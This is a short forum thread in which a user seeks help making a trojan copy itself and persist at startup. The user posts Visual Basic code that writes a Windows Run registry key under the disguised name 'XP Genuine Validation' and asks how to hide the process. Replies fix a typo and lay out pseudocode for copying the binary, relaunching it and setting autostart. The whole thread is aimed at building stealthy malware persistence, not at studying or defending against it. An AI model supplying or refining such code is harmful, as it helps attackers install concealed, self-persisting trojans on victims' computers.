hi to all
I want to make a copy of the server before it copies itself into the start-up, and it copies itself into the start-up (file name undefined)

is the code I use but it does not copy

Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n\XP Genuine Validation", App.Path & "\" & App.EXEName & ".exe"




and i want to make the process hidden and has not quit

thinks to all

dint understand what u wanted exactly but theres a space in the code


try remove the space b/w ru and n

this ( ru n ) it is error of the copy

lol ok then that was a very simple bug ^^

I want to copy the trojen ans make it in start'up

Then you should:

Define DestinationFolder
Get CurrentFolder

If CurrentFolder <> DestinationFolder then
You Copy the binary to DestinationFolder
You launch the copy
You end the Current Process
Else
You write the AutostartupRegistry
end if

thinks